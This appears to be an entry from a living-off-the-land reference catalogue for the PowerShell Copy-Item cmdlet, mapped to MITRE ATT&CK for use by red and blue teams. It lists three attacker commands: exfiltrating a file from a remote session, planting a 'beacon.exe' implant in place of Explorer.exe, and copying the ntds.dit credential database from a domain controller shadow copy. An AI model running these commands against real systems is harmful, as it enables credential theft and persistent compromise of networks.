.. / Copy-Item

Copies an item from one location to another


Functions:
Type:
Toolsets:

Resources

Data

Copy file from PSSession

Copy-Item -Path C:\boot.ini -Destination . -FromSession $ps
Usecase
Exfiltrate data

Comments
Mitre Att&ck
T1021.006

Copy file to PSSession

Copy-Item -Path C:\beacon.exe -Destination C:\Windows\System32\Explorer.exe -ToSession $ps
Usecase
Copy implant

Comments
Mitre Att&ck

Copy from volume shadow copy

Copy-Item -Path \\DC01.ad.bitsadmin.com\C$\@GMT-2023.06.01-19.34.01\Windows\NTDS\ntds.dit -Destination C:\Tmp\
Usecase
Exfiltrate ntds.dit from shadow copy over SMB

Comments
Mitre Att&ck



Updated: 2023-08-25
Contributor: Arris Huijgen (bitsadmin)